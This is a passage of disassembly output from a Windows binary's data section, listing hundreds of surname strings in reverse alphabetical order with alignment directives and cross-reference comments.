; DATA XREF: .data:0042E9CCo align 4 aTeague db 'Teague',0 ; DATA XREF: .data:0042E9C8o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .data:0042E9C4o align 4 aTawn db 'Tawn',0 ; DATA XREF: .data:0042E9C0o align 10h aTaveras db 'Taveras',0 ; DATA XREF: .data:0042E9BCo aTatar db 'Tatar',0 ; DATA XREF: .data:0042E9B8o align 10h aTanowitz db 'Tanowitz',0 ; DATA XREF: .data:0042E9B4o align 4 aTandler db 'Tandler',0 ; DATA XREF: .data:0042E9B0o aTambiah db 'Tambiah',0 ; DATA XREF: .data:0042E9ACo aTalaugon db 'Talaugon',0 ; DATA XREF: .data:0042E9A8o align 4 aTai db 'Tai',0 ; DATA XREF: .data:0042E9A4o aTagiuri db 'Tagiuri',0 ; DATA XREF: .data:0042E9A0o aSwindle db 'Swindle',0 ; DATA XREF: .data:0042E99Co aSweetser db 'Sweetser',0 ; DATA XREF: .data:0042E998o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: .data:0042E994o align 4 aSurdam db 'Surdam',0 ; DATA XREF: .data:0042E990o align 4 aSuo db 'Suo',0 ; DATA XREF: .data:0042E98Co aSumner db 'Sumner',0 ; DATA XREF: .data:0042E988o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: .data:0042E984o align 4 aStringer db 'Stringer',0 ; DATA XREF: .data:0042E980o align 10h aStreiff db 'Streiff',0 ; DATA XREF: .data:0042E97Co aStrauch db 'Strauch',0 ; DATA XREF: .data:0042E978o aStrange db 'Strange',0 ; DATA XREF: .data:0042E974o aStott db 'Stott',0 ; DATA XREF: .data:0042E970o align 10h aStorer db 'Storer',0 ; DATA XREF: .data:0042E96Co align 4 aStonich db 'Stonich',0 ; DATA XREF: .data:0042E968o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .data:0042E964o aStockwell db 'Stockwell',0 ; DATA XREF: .data:0042E960o align 4 aStockton db 'Stockton',0 ; DATA XREF: .data:0042E95Co align 4 aStock db 'Stock',0 ; DATA XREF: .data:0042E958o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: .data:0042E954o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: .data:0042E950o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .data:0042E94Co align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: .data:0042E948o aStephanian db 'Stephanian',0 ; DATA XREF: .data:0042E944o align 4 aSteiner db 'Steiner',0 ; DATA XREF: .data:0042E940o aStefani db 'Stefani',0 ; DATA XREF: .data:0042E93Co aStatlender db 'Statlender',0 ; DATA XREF: .data:0042E938o align 4 aStates db 'States',0 ; DATA XREF: .data:0042E934o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .data:0042E930o align 10h aStang db 'Stang',0 ; DATA XREF: .data:0042E92Co align 4 aStam db 'Stam',0 ; DATA XREF: .data:0042E928o align 10h aStalvey db 'Stalvey',0 ; DATA XREF: .data:0042E924o aStmartin db 'StMartin',0 ; DATA XREF: .data:0042E920o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: .data:0042E91Co aSpiliotis db 'Spiliotis',0 ; DATA XREF: .data:0042E918o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .data:0042E914o align 4 aSpicer db 'Spicer',0 ; DATA XREF: .data:0042E910o align 10h aSperber db 'Sperber',0 ; DATA XREF: .data:0042E90Co aSpence db 'Spence',0 ; DATA XREF: .data:0042E908o align 10h aSpeizer db 'Speizer',0 ; DATA XREF: .data:0042E904o aSpaulding db 'Spaulding',0 ; DATA XREF: .data:0042E900o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: .data:0042E8FCo aSpanier db 'Spanier',0 ; DATA XREF: .data:0042E8F8o aSoultanian db 'Soultanian',0 ; DATA XREF: .data:0042E8F4o align 10h aSoule db 'Soule',0 ; DATA XREF: .data:0042E8F0o align 4 aSoukup db 'Soukup',0 ; DATA XREF: .data:0042E8ECo align 10h aSottak db 'Sottak',0 ; DATA XREF: .data:0042E8E8o align 4 aSorg db 'Sorg',0 ; DATA XREF: .data:0042E8E4o align 10h aSorabella db 'Sorabella',0 ; DATA XREF: .data:0042E8E0o align 4 aSommariva db 'Sommariva',0 ; DATA XREF: .data:0042E8DCo align 4 aSomers db 'Somers',0 ; DATA XREF: .data:0042E8D8o align 10h aSolon db 'Solon',0 ; DATA XREF: .data:0042E8D4o align 4 aSocolow db 'Socolow',0 ; DATA XREF: .data:0042E8D0o aSnodgrass db 'Snodgrass',0 ; DATA XREF: .data:0042E8CCo align 4 aSniffen db 'Sniffen',0 ; DATA XREF: .data:0042E8C8o aSmilow db 'Smilow',0 ; DATA XREF: .data:0042E8C4o align 4 aSlowe db 'Slowe',0 ; DATA XREF: .data:0042E8C0o align 4 aSloan db 'Sloan',0 ; DATA XREF: .data:0042E8BCo align 4 aSkoda db 'Skoda',0 ; DATA XREF: .data:0042E8B8o align 4 aSkerry db 'Skerry',0 ; DATA XREF: .data:0042E8B4o align 4 aSkane db 'Skane',0 ; DATA XREF: .data:0042E8B0o align 4 aSites db 'Sites',0 ; DATA XREF: .data:0042E8ACo align 4 aSirilli db 'Sirilli',0 ; DATA XREF: .data:0042E8A8o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .data:0042E8A4o align 10h aSilvetti db 'Silvetti',0 ; DATA XREF: .data:0042E8A0o align 4 aSilverman db 'Silverman',0 ; DATA XREF: .data:0042E89Co align 4 aSigna db 'Signa',0 ; DATA XREF: .data:0042E898o align 10h aSigini db 'Sigini',0 ; DATA XREF: .data:0042E894o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: .data:0042E890o aSiesto db 'Siesto',0 ; DATA XREF: .data:0042E88Co align 4 aShimon db 'Shimon',0 ; DATA XREF: .data:0042E888o align 10h aShibata db 'Shibata',0 ; DATA XREF: .data:0042E884o aShia db 'Shia',0 ; DATA XREF: .data:0042E880o align 10h aShesko db 'Shesko',0 ; DATA XREF: .data:0042E87Co align 4 aShepstone db 'Shepstone',0 ; DATA XREF: .data:0042E878o align 4 aSheppard db 'Sheppard',0 ; DATA XREF: .data:0042E874o align 10h aShepherd db 'Shepherd',0 ; DATA XREF: .data:0042E870o align 4 aSheats db 'Sheats',0 ; DATA XREF: .data:0042E86Co align 4 aShea db 'Shea',0 ; DATA XREF: .data:0042E868o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: .data:0042E864o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: .data:0042E860o aShar db 'Shar',0 ; DATA XREF: .data:0042E85Co align 4 aShanley db 'Shanley',0 ; DATA XREF: .data:0042E858o aShankland db 'Shankland',0 ; DATA XREF: .data:0042E854o align 4 aShakis db 'Shakis',0 ; DATA XREF: .data:0042E850o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: .data:0042E84Co align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: .data:0042E848o aSexton db 'Sexton',0 ; DATA XREF: .data:0042E844o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: .data:0042E840o align 4 aSennett db 'Sennett',0 ; DATA XREF: .data:0042E83Co aSen db 'Sen',0 ; DATA XREF: .data:0042E838o aSelvage db 'Selvage',0 ; DATA XREF: .data:0042E834o aSekler db 'Sekler',0 ; DATA XREF: .data:0042E830o align 4 aSegal db 'Segal',0 ; DATA XREF: .data:0042E82Co align 4 aSeeber db 'Seeber',0 ; DATA XREF: .data:0042E828o align 4 aSeaton db 'Seaton',0 ; DATA XREF: .data:0042E824o align 4 aScudder db 'Scudder',0 ; DATA XREF: .data:0042E820o aScovel db 'Scovel',0 ; DATA XREF: .data:0042E81Co align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: .data:0042E818o aSchwan db 'Schwan',0 ; DATA XREF: .data:0042E814o align 10h aSchuyler db 'Schuyler',0 ; DATA XREF: .data:0042E810o align 4 aSchutte db 'Schutte',0 ; DATA XREF: .data:0042E80Co aSchuman db 'Schuman',0 ; DATA XREF: .data:0042E808o aSchossberger db 'Schossberger',0 ; DATA XREF: .data:0042E804o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: .data:0042E800o aSchilling db 'Schilling',0 ; DATA XREF: .data:0042E7FCo align 10h aSchifini db 'Schifini',0 ; DATA XREF: .data:0042E7F8o align 4 aSchiano db 'Schiano',0 ; DATA XREF: .data:0042E7F4o aScheiner db 'Scheiner',0 ; DATA XREF: .data:0042E7F0o align 10h aScharlemann db 'Scharlemann',0 ; DATA XREF: .data:0042E7ECo aScharf db 'Scharf',0 ; DATA XREF: .data:0042E7E8o align 4 aScepan db 'Scepan',0 ; DATA XREF: .data:0042E7E4o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: .data:0042E7E0o align 4 aSayied db 'Sayied',0 ; DATA XREF: .data:0042E7DCo align 10h aSawtell db 'Sawtell',0 ; DATA XREF: .data:0042E7D8o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .data:0042E7D4o align 4 aSatta db 'Satta',0 ; DATA XREF: .data:0042E7D0o align 10h aSatin db 'Satin',0 ; DATA XREF: .data:0042E7CCo align 4 aSase db 'Sase',0 ; DATA XREF: .data:0042E7C8o align 10h aSartore db 'Sartore',0 ; DATA XREF: .data:0042E7C4o aSarin db 'Sarin',0 ; DATA XREF: .data:0042E7C0o align 10h aSapers db 'Sapers',0 ; DATA XREF: .data:0042E7BCo align 4 aSanna db 'Sanna',0 ; DATA XREF: .data:0042E7B8o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .data:0042E7B4o aSamson db 'Samson',0 ; DATA XREF: .data:0042E7B0o align 4 aSali db 'Sali',0 ; DATA XREF: .data:0042E7ACo align 10h aSahu db 'Sahu',0 ; DATA XREF: .data:0042E7A8o align 4 aSafire db 'Safire',0 ; DATA XREF: .data:0042E7A4o align 10h aSadler db 'Sadler',0 ; DATA XREF: .data:0042E7A0o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: .data:0042E79Co align 4 aRyu db 'Ryu',0 ; DATA XREF: .data:0042E798o aRush db 'Rush',0 ; DATA XREF: .data:0042E794o align 10h aRuescher db 'Ruescher',0 ; DATA XREF: .data:0042E790o align 4 aRuderman db 'Ruderman',0 ; DATA XREF: .data:0042E78Co align 4 aRuan db 'Ruan',0 ; DATA XREF: .data:0042E788o align 10h aRu db 'Ru',0 ; DATA XREF: .data:0042E784o align 4 aRoyal db 'Royal',0 ; DATA XREF: .data:0042E780o align 4 aRow db 'Row',0 ; DATA XREF: .data:0042E77Co aRonen db 'Ronen',0 ; DATA XREF: .data:0042E778o align 4 aRogers db 'Rogers',0 ; DATA XREF: .data:0042E774o align 10h aRoesler db 'Roesler',0 ; DATA XREF: .data:0042E770o aRocha db 'Rocha',0 ; DATA XREF: .data:0042E76Co align 10h aRobinson db 'Robinson',0 ; DATA XREF: .data:0042E768o align 4 aRivera db 'Rivera',0 ; DATA XREF: .data:0042E764o align 4 aRish db 'Rish',0 ; DATA XREF: .data:0042E760o align 4 aRineer db 'Rineer',0 ; DATA XREF: .data:0042E75Co align 4 aRindos db 'Rindos',0 ; DATA XREF: .data:0042E758o align 4 aRielly db 'Rielly',0 ; DATA XREF: .data:0042E754o align 4 aRichmond db 'Richmond',0 ; DATA XREF: .data:0042E750o align 10h aRhea db 'Rhea',0 ; DATA XREF: .data:0042E74Co align 4 aResnik db 'Resnik',0 ; DATA XREF: .data:0042E748o align 10h aRepetto db 'Repetto',0 ; DATA XREF: .data:0042E744o aRenick db 'Renick',0 ; DATA XREF: .data:0042E740o align 10h aRemak db 'Remak',0 ; DATA XREF: .data:0042E73Co align 4 aReinold db 'Reinold',0 ; DATA XREF: .data:0042E738o aCunningham db 'Cunningham',0 ; DATA XREF: .data:0042E734o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: .data:0042E730o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .data:0042E72Co align 4 aRayport db 'Rayport',0 ; DATA XREF: .data:0042E728o aRapple db 'Rapple',0 ; DATA XREF: .data:0042E724o align 4 aRankin db 'Rankin',0 ; DATA XREF: .data:0042E720o align 10h aRangan db 'Rangan',0 ; DATA XREF: .data:0042E71Co align 4 aRaney db 'Raney',0 ; DATA XREF: .data:0042E718o align 10h aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .data:0042E714o aRadeke db 'Radeke',0 ; DATA XREF: .data:0042E710o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: .data:0042E70Co align 4 aRabe db 'Rabe',0 ; DATA XREF: .data:0042E708o align 4 aQuetin db 'Quetin',0 ; DATA XREF: .data:0042E704o align 4 aQuaday db 'Quaday',0 ; DATA XREF: .data:0042E700o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: .data:0042E6FCo aPugh db 'Pugh',0 ; DATA XREF: .data:0042E6F8o align 4 aPuccia db 'Puccia',0 ; DATA XREF: .data:0042E6F4o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .data:0042E6F0o align 4 aProietti db 'Proietti',0 ; DATA XREF: .data:0042E6ECo align 4 aPritz db 'Pritz',0 ; DATA XREF: .data:0042E6E8o align 10h aPritchard db 'Pritchard',0 ; DATA XREF: .data:0042E6E4o align 4 aPrevost db 'Prevost',0 ; DATA XREF: .data:0042E6E0o aPreucel db 'Preucel',0 ; DATA XREF: .data:0042E6DCo aPresper db 'Presper',0 ; DATA XREF: .data:0042E6D8o aPowers db 'Powers',0 ; DATA XREF: .data:0042E6D4o align 4 aPoolman db 'Poolman',0 ; DATA XREF: .data:0042E6D0o aPoma db 'Poma',0 ; DATA XREF: .data:0042E6CCo align 4 aPolitis db 'Politis',0 ; DATA XREF: .data:0042E6C8o aPolanyi db 'Polanyi',0 ; DATA XREF: .data:0042E6C4o aPolak db 'Polak',0 ; DATA XREF: .data:0042E6C0o align 4 aPoirier db 'Poirier',0 ; DATA XREF: .data:0042E6BCo aPointer db 'Pointer',0 ; DATA XREF: .data:0042E6B8o aPoincaire db 'Poincaire',0 ; DATA XREF: .data:0042E6B4o align 10h aPocobene db 'Pocobene',0 ; DATA XREF: .data:0042E6B0o align 4 aPo db 'Po',0 ; DATA XREF: .data:0042E6ACo align 10h aPlous db 'Plous',0 ; DATA XREF: .data:0042E6A8o align 4 aPlasket db 'Plasket',0 ; DATA XREF: .data:0042E6A4o aPlant db 'Plant',0 ; DATA XREF: .data:0042E6A0o align 4 aPlancon db 'Plancon',0 ; DATA XREF: .data:0042E69Co aPinot db 'Pinot',0 ; DATA XREF: .data:0042E698o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: .data:0042E694o aPfister db 'Pfister',0 ; DATA XREF: .data:0042E690o aPettit db 'Pettit',0 ; DATA XREF: .data:0042E68Co align 10h aPettibone db 'Pettibone',0 ; DATA XREF: .data:0042E688o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: .data:0042E684o align 4 aPeters db 'Peters',0 ; DATA XREF: .data:0042E680o align 10h aPerrimon db 'Perrimon',0 ; DATA XREF: .data:0042E67Co align 4 aPerone db 'Perone',0 ; DATA XREF: .data:0042E678o align 4 aPerna db 'Perna',0 ; DATA XREF: .data:0042E674o align 4 aPerlman db 'Perlman',0 ; DATA XREF: .data:0042E670o aPerlak db 'Perlak',0 ; DATA XREF: .data:0042E66Co align 4 aPerko db 'Perko',0 ; DATA XREF: .data:0042E668o align 4 aPereira db 'Pereira',0 ; DATA XREF: .data:0042E664o aPenny db 'Penny',0 ; DATA XREF: .data:0042E660o align 4 aPeishel db 'Peishel',0 ; DATA XREF: .data:0042E65Co aPederson db 'Pederson',0 ; DATA XREF: .data:0042E658o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: .data:0042E654o align 4 aPeabody db 'Peabody',0 ; DATA XREF: .data:0042E650o aPaynter db 'Paynter',0 ; DATA XREF: .data:0042E64Co aPawloski db 'Pawloski',0 ; DATA XREF: .data:0042E648o align 10h aPavlon db 'Pavlon',0 ; DATA XREF: .data:0042E644o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: .data:0042E640o aPattullo db 'Pattullo',0 ; DATA XREF: .data:0042E63Co align 4 aPatrick db 'Patrick',0 ; DATA XREF: .data:0042E638o aPatefield db 'Patefield',0 ; DATA XREF: .data:0042E634o align 10h aPascucci db 'Pascucci',0 ; DATA XREF: .data:0042E630o align 4 aPartridge db 'Partridge',0 ; DATA XREF: .data:0042E62Co align 4 aParris db 'Parris',0 ; DATA XREF: .data:0042E628o align 10h aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .data:0042E624o aPaoletti db 'Paoletti',0 ; DATA XREF: .data:0042E620o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: .data:0042E61Co align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: .data:0042E618o align 10h aPanadero db 'Panadero',0 ; DATA XREF: .data:0042E614o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: .data:0042E610o align 4 aPallara db 'Pallara',0 ; DATA XREF: .data:0042E60Co aPalepu db 'Palepu',0 ; DATA XREF: .data:0042E608o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: .data:0042E604o align 4 aPaine db 'Paine',0 ; DATA XREF: .data:0042E600o align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .data:0042E5FCo align 4 aOvid db 'Ovid',0 ; DATA XREF: .data:0042E5F8o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: .data:0042E5F4o aOtten db 'Otten',0 ; DATA XREF: .data:0042E5F0o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: .data:0042E5ECo align 10h aOstrowski db 'Ostrowski',0 ; DATA XREF: .data:0042E5E8o align 4 aOspina db 'Ospina',0 ; DATA XREF: .data:0042E5E4o align 4 aOrsi db 'Orsi',0 ; DATA XREF: .data:0042E5E0o align 4 aOrfield db 'Orfield',0 ; DATA XREF: .data:0042E5DCo aOray db 'Oray',0 ; DATA XREF: .data:0042E5D8o align 4 aOpel db 'Opel',0 ; DATA XREF: .data:0042E5D4o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: .data:0042E5D0o aOman db 'Oman',0 ; DATA XREF: .data:0042E5CCo align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: .data:0042E5C8o align 10h aOlszewski db 'Olszewski',0 ; DATA XREF: .data:0042E5C4o align 4 aOlson db 'Olson',0 ; DATA XREF: .data:0042E5C0o align 4 aOlsen db 'Olsen',0 ; DATA XREF: .data:0042E5BCo align 4 aOldford db 'Oldford',0 ; DATA XREF: .data:0042E5B8o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .data:0042E5B4o aOh db 'Oh',0 ; DATA XREF: .data:0042E5B0o align 10h aOgata db 'Ogata',0 ; DATA XREF: .data:0042E5ACo align 4 aOcougne db 'Ocougne',0 ; DATA XREF: .data:0042E5A8o aNuzum db 'Nuzum',0 ; DATA XREF: .data:0042E5A4o align 4 aNotman db 'Notman',0 ; DATA XREF: .data:0042E5A0o align 10h aNitabach db 'Nitabach',0 ; DATA XREF: .data:0042E59Co align 4 aNisenson db 'Nisenson',0 ; DATA XREF: .data:0042E598o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: .data:0042E594o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: .data:0042E590o align 10h aNi_0 db 'Ni',0 ; DATA XREF: .data:0042E58Co align 4 aNg db 'Ng',0 ; DATA XREF: .data:0042E588o align 4 aNewlin db 'Newlin',0 ; DATA XREF: .data:0042E584o align 10h aNewfeld db 'Newfeld',0 ; DATA XREF: .data:0042E580o aNeuman db 'Neuman',0 ; DATA XREF: .data:0042E57Co align 10h aNesci db 'Nesci',0 ; DATA XREF: .data:0042E578o align 4 aNenna db 'Nenna',0 ; DATA XREF: .data:0042E574o align 10h aNelson db 'Nelson',0 ; DATA XREF: .data:0042E570o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: .data:0042E56Co aNaviaux db 'Naviaux',0 ; DATA XREF: .data:0042E568o aNardone db 'Nardone',0 ; DATA XREF: .data:0042E564o aNardi db 'Nardi',0 ; DATA XREF: .data:0042E560o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: .data:0042E55Co align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: .data:0042E558o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: .data:0042E554o align 4 aMumford db 'Mumford',0 ; DATA XREF: .data:0042E550o aMulroy db 'Mulroy',0 ; DATA XREF: .data:0042E54Co align 4 aMulkern db 'Mulkern',0 ; DATA XREF: .data:0042E548o aMugnai db 'Mugnai',0 ; DATA XREF: .data:0042E544o align 4 aMuello db 'Muello',0 ; DATA XREF: .data:0042E540o align 10h aMudarri db 'Mudarri',0 ; DATA XREF: .data:0042E53Co aMotooka db 'Motooka',0 ; DATA XREF: .data:0042E538o aMostafavi db 'Mostafavi',0 ; DATA XREF: .data:0042E534o align 4 aMosler db 'Mosler',0 ; DATA XREF: .data:0042E530o align 4 aMosher db 'Mosher',0 ; DATA XREF: .data:0042E52Co align 4 aMortimer db 'Mortimer',0 ; DATA XREF: .data:0042E528o align 4 aMorrow db 'Morrow',0 ; DATA XREF: .data:0042E524o align 10h aMorrison db 'Morrison',0 ; DATA XREF: .data:0042E520o align 4 aMoreton db 'Moreton',0 ; DATA XREF: .data:0042E51Co aMorani db 'Morani',0 ; DATA XREF: .data:0042E518o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .data:0042E514o align 4 aMontilio db 'Montilio',0 ; DATA XREF: .data:0042E510o align 4 aMonque db 'Monque',0 ; DATA XREF: .data:0042E50Co align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: .data:0042E508o align 4 aMohr db 'Mohr',0 ; DATA XREF: .data:0042E504o align 10h aMoeller db 'Moeller',0 ; DATA XREF: .data:0042E500o aModestino db 'Modestino',0 ; DATA XREF: .data:0042E4FCo align 4 aMocroft db 'Mocroft',0 ; DATA XREF: .data:0042E4F8o aMittal db 'Mittal',0 ; DATA XREF: .data:0042E4F4o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .data:0042E4F0o aGonzalez db 'Gonzalez',0 ; DATA XREF: .data:0042E4ECo align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: .data:0042E4E8o aMini db 'Mini',0 ; DATA XREF: .data:0042E4E4o align 10h aMinh db 'Minh',0 ; DATA XREF: .data:0042E4E0o align 4 aMills db 'Mills',0 ; DATA XREF: .data:0042E4DCo align 10h aMieher db 'Mieher',0 ; DATA XREF: .data:0042E4D8o align 4 aMiddle db 'Middle',0 ; DATA XREF: .data:0042E4D4o align 10h aMichelman db 'Michelman',0 ; DATA XREF: .data:0042E4D0o align 4 aMeurer db 'Meurer',0 ; DATA XREF: .data:0042E4CCo align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: .data:0042E4C8o align 10h aMetelka db 'Metelka',0 ; DATA XREF: .data:0042E4C4o aMerz db 'Merz',0 ; DATA XREF: .data:0042E4C0o align 10h aMerseth db 'Merseth',0 ; DATA XREF: .data:0042E4BCo aMerminod db 'Merminod',0 ; DATA XREF: .data:0042E4B8o align 4 aMerlani db 'Merlani',0 ; DATA XREF: .data:0042E4B4o aMerikoski db 'Merikoski',0 ; DATA XREF: .data:0042E4B0o align 4 aMenzies db 'Menzies',0 ; DATA XREF: .data:0042E4ACo aMemisoglu db 'Memisoglu',0 ; DATA XREF: .data:0042E4A8o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: .data:0042E4A4o aMcnulty db 'Mcnulty',0 ; DATA XREF: .data:0042E4A0o aMcnealy db 'Mcnealy',0 ; DATA XREF: .data:0042E49Co aMclaren db 'Mclaren',0 ; DATA XREF: .data:0042E498o aMclane db 'Mclane',0 ; DATA XREF: .data:0042E494o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: .data:0042E490o aMcintosh db 'Mcintosh',0 ; DATA XREF: .data:0042E48Co align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: .data:0042E488o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .data:0042E484o align 10h aMcghee db 'Mcghee',0 ; DATA XREF: .data:0042E480o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: .data:0042E47Co align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: .data:0042E478o aMcdowell db 'Mcdowell',0 ; DATA XREF: .data:0042E474o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: .data:0042E470o align 4 aMccall db 'Mccall',0 ; DATA XREF: .data:0042E46Co align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: .data:0042E468o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: .data:0042E464o aMazziotta db 'Mazziotta',0 ; DATA XREF: .data:0042E460o align 4 aMazzali db 'Mazzali',0 ; DATA XREF: .data:0042E45Co aMay db 'May',0 ; DATA XREF: .data:0042E458o aMauzy db 'Mauzy',0 ; DATA XREF: .data:0042E454o align 10h aMattson db 'Mattson',0 ; DATA XREF: .data:0042E450o aMatsukata db 'Matsukata',0 ; DATA XREF: .data:0042E44Co align 4 aMatarazzo db 'Matarazzo',0 ; DATA XREF: .data:0042E448o align 10h aMatalka db 'Matalka',0 ; DATA XREF: .data:0042E444o aMass db 'Mass',0 ; DATA XREF: .data:0042E440o align 10h aMarubini db 'Marubini',0 ; DATA XREF: .data:0042E43Co align 4 aMarton db 'Marton',0 ; DATA XREF: .data:0042E438o align 4 aMartochio db 'Martochio',0 ; DATA XREF: .data:0042E434o align 10h aMartinez db 'Martinez',0 ; DATA XREF: .data:0042E430o align 4 aMarques db 'Marques',0 ; DATA XREF: .data:0042E42Co aMargetts db 'Margetts',0 ; DATA XREF: .data:0042E428o align 10h aMargalit db 'Margalit',0 ; DATA XREF: .data:0042E424o align 4 aMarcus db 'Marcus',0 ; DATA XREF: .data:0042E420o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: .data:0042E41Co align 10h aMarch db 'March',0 ; DATA XREF: .data:0042E418o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: .data:0042E414o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: .data:0042E410o aMandel db 'Mandel',0 ; DATA XREF: .data:0042E40Co align 4 aManalis db 'Manalis',0 ; DATA XREF: .data:0042E408o aMalova db 'Malova',0 ; DATA XREF: .data:0042E404o align 4 aMaller db 'Maller',0 ; DATA XREF: .data:0042E400o align 10h aMalatesta db 'Malatesta',0 ; DATA XREF: .data:0042E3FCo align 4 aMaisano db 'Maisano',0 ; DATA XREF: .data:0042E3F8o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .data:0042E3F4o align 4 aMaier db 'Maier',0 ; DATA XREF: .data:0042E3F0o align 4 aMahony db 'Mahony',0 ; DATA XREF: .data:0042E3ECo align 4 aMaggio db 'Maggio',0 ; DATA XREF: .data:0042E3E8o align 4 aMadigan db 'Madigan',0 ; DATA XREF: .data:0042E3E4o aMacy db 'Macy',0 ; DATA XREF: .data:0042E3E0o align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: .data:0042E3DCo align 4 aMackenney db 'Mackenney',0 ; DATA XREF: .data:0042E3D8o align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: .data:0042E3D4o align 10h aMaceachern db 'Maceachern',0 ; DATA XREF: .data:0042E3D0o align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: .data:0042E3CCo align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: .data:0042E3C8o align 4 aMa db 'Ma',0 ; DATA XREF: .data:0042E3C4o align 4 aLuzader db 'Luzader',0 ; DATA XREF: .data:0042E3C0o aLutcavage db 'Lutcavage',0 ; DATA XREF: .data:0042E3BCo align 4 aLussier db 'Lussier',0 ; DATA XREF: .data:0042E3B8o aLuoma db 'Luoma',0 ; DATA XREF: .data:0042E3B4o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: .data:0042E3B0o aLuecke db 'Luecke',0 ; DATA XREF: .data:0042E3ACo align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: .data:0042E3A8o aLuciano db 'Luciano',0 ; DATA XREF: .data:0042E3A4o aLucas db 'Lucas',0 ; DATA XREF: .data:0042E3A0o align 4 aLubin db 'Lubin',0 ; DATA XREF: .data:0042E39Co align 4 aLoza db 'Loza',0 ; DATA XREF: .data:0042E398o align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: .data:0042E394o align 10h aLoveman db 'Loveman',0 ; DATA XREF: .data:0042E390o aLoss db 'Loss',0 ; DATA XREF: .data:0042E38Co align 10h aLongworth db 'Longworth',0 ; DATA XREF: .data:0042E388o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: .data:0042E384o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: .data:0042E380o aLivolsi db 'Livolsi',0 ; DATA XREF: .data:0042E37Co aLivi db 'Livi',0 ; DATA XREF: .data:0042E378o align 10h aLivernash db 'Livernash',0 ; DATA XREF: .data:0042E374o align 4 aLitvak db 'Litvak',0 ; DATA XREF: .data:0042E370o align 4 aLittle db 'Little',0 ; DATA XREF: .data:0042E36Co align 4 aLipponen db 'Lipponen',0 ; DATA XREF: .data:0042E368o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: .data:0042E364o align 4 aLinzee db 'Linzee',0 ; DATA XREF: .data:0042E360o align 4 aLinehan db 'Linehan',0 ; DATA XREF: .data:0042E35Co aLine db 'Line',0 ; DATA XREF: .data:0042E358o align 4 aLinder db 'Linder',0 ; DATA XREF: .data:0042E354o align 4 aLinda db 'Linda',0 ; DATA XREF: .data:0042E350o align 4 aLinares db 'Linares',0 ; DATA XREF: .data:0042E34Co aLim db 'Lim',0 ; DATA XREF: .data:0042E348o aLightfoot db 